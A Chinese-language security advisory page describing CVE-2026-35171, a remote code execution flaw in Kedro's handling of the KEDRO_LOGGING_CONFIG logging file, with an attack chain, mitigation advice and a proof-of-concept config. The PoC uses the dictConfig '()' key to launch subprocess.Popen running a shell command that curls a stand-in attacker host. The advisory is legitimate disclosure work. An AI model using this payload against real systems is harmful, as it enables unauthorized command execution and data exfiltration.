IPBUF安全漏洞报告
English
CVE-2026-35171 CVSS 9.8 严重

CVE-2026-35171 Kedro远程代码执行漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35171
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Kedro

相关标签

RCEKedroPython代码注入日志配置CVE-2026-35171

漏洞概述

Kedro是一个用于生产就绪数据科学的工具箱。在1.3.0版本之前,Kedro允许通过KEDRO_LOGGING_CONFIG环境变量设置日志配置文件路径,并在未经验证的情况下加载该文件。日志配置模式支持特殊的()键,这使得攻击者可以实例化任意可调用对象。攻击者可以利用此漏洞在应用程序启动期间执行任意系统命令。这是一个由logging.config.dictConfig()不安全使用用户控制输入引起的严重远程代码执行(RCE)漏洞。

技术细节

该漏洞的根本原因在于Kedro在处理环境变量KEDRO_LOGGING_CONFIG时缺乏安全验证。应用程序在启动时会读取该环境变量指定的配置文件,并使用Python标准库的logging.config.dictConfig()函数进行解析。由于该函数支持在配置字典中使用特殊的“()”键来指定类名和参数,攻击者可以构造包含恶意Python代码的配置文件。通过将“()”键指向os.system、subprocess.Popen等危险函数,并传入任意命令作为参数,当Kedro初始化日志系统时,将自动实例化这些对象并执行命令。由于无需用户交互且通过网络向量利用,攻击者若能控制环境变量,即可在服务器上执行任意代码,获得系统控制权。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统使用了版本低于1.3.0的Kedro框架。
STEP 2
武器化
攻击者构造一个包含恶意Python字典的配置文件,利用'()'键调用subprocess.Popen执行系统命令。
STEP 3
投递
攻击者修改目标环境的环境变量KEDRO_LOGGING_CONFIG,将其指向恶意配置文件的路径。
STEP 4
利用
当Kedro应用程序重启或启动时,它会加载恶意的日志配置。
STEP 5
执行
logging.config.dictConfig()解析配置,实例化恶意对象,导致在服务器端执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# malicious_config.py import os # Malicious logging configuration exploiting the dictConfig feature LOGGING_CONFIG = { 'version': 1, 'disable_existing_loggers': False, 'formatters': { 'standard': { 'format': '%(asctime)s [%(levelname)s] %(name)s: %(message)s' } }, 'handlers': { # Exploit: Use the special '()' key to instantiate subprocess.Popen 'exploit': { '()': 'subprocess.Popen', 'args': (['/bin/sh', '-c', 'touch /tmp/pwned; curl http://attacker.com/exfil'],) } }, 'root': { 'level': 'INFO', 'handlers': ['exploit'] } } # Attacker sets environment variable: # export KEDRO_LOGGING_CONFIG=/path/to/malicious_config.py

影响范围

Kedro < 1.3.0

防御指南

临时缓解措施
如果无法立即升级,应严格控制服务器环境,防止攻击者修改KEDRO_LOGGING_CONFIG环境变量。在CI/CD流程或容器编排中,确保环境变量来源可信,并检查现有的日志配置文件是否包含异常的'()'键引用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表